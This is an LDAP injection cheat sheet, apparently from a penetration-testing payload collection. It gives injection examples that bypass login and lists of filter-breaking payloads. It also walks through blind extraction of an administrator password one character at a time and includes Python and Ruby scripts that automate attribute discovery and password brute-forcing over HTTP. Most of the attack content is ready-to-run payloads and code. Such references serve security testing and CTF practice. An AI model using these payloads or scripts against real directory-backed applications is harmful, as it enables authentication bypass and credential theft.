LDAP injection

> LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.

Summary

Exploitation

Example 1.

```
user  = *)(uid=*))(|(uid=*
pass  = password
query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))
```

Example 2

```
user  = admin)(!(&(1=0
pass  = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
```

Payloads

```
*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
```

```
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y
```

Blind Exploitation

We can extract using a bypass login

```
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
(&(sn=administrator)(password=MY*))  : OK
(&(sn=administrator)(password=MYA*)) : KO
(&(sn=administrator)(password=MYB*)) : KO
(&(sn=administrator)(password=MYC*)) : KO
...
(&(sn=administrator)(password=MYK*)) : OK
(&(sn=administrator)(password=MYKE)) : OK
```

Defaults attributes

Can be used in an injection like `*)(ATTRIBUTE_HERE=*`

```
userPassword
surname
name
cn
sn
objectClass
mail
givenName
commonName
```

Exploiting userPassword attribute

`userPassword` attribute is not a string like the `cn` attribute for example but it’s an OCTET STRING In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).

> octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.

```
userPassword:2.5.13.18:=\xx (\xx is a byte)
userPassword:2.5.13.18:=\xx\xx
userPassword:2.5.13.18:=\xx\xx\xx
```

Scripts

Discover valid LDAP fields

```
#!/usr/bin/python3

import requests
import string

fields = []

url = 'https://URL.com/'

f = open('dic', 'r') #Open the wordlists of common attributes
wordl = f.read().split('\n')
f.close()

for i in wordl:
    r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00',
'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))
    if 'TRUE CONDITION' in r.text:
        fields.append(str(i))

print(fields)
```

Ref. [5][5]

Special blind LDAP injection (without "*")

```
#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
    print("[i] Looking for number " + str(i))
    for char in alphabet:
        r = requests.get("http://ctf.web?action=dir&search=admin*)(password=" + flag
+ char)
        if ("TRUE CONDITION" in r.text):
            flag += char
            print("[+] Flag: " + flag)
            break
```

Ref. [5][5]

```
#!/usr/bin/env ruby

require 'net/http'
alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')

flag = ''

(0..50).each do |i|
  puts("[i] Looking for number #{i}")
  alphabet.each do |char|
    r = Net::HTTP.get(URI("http://ctf.web?action=dir&search=admin*)(password=#{flag}#{char}"))
    if /TRUE CONDITION/.match?(r)
      flag += char
      puts("[+] Flag: #{flag}")
      break
    end
  end
end
```

By noraj

References

- OWASP LDAP Injection
- LDAP Blind Explorer
- ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN
- Quals ECW 2018 - Maki
- How To Manage and Use LDAP Servers with OpenLDAP Utilities
- How To Configure OpenLDAP and Perform Administrative LDAP Tasks
- SSH key authentication via LDAP
  - How to setup LDAP server for openssh-lpk
  - openssh-lpk.ldif
  - Setting up OpenLDAP server with OpenSSH-LPK on Ubuntu 14.04
  - SSH key authentication using LDAP
  - [FR] SSH et LDAP
  - SSH Public Keys in OpenLDAP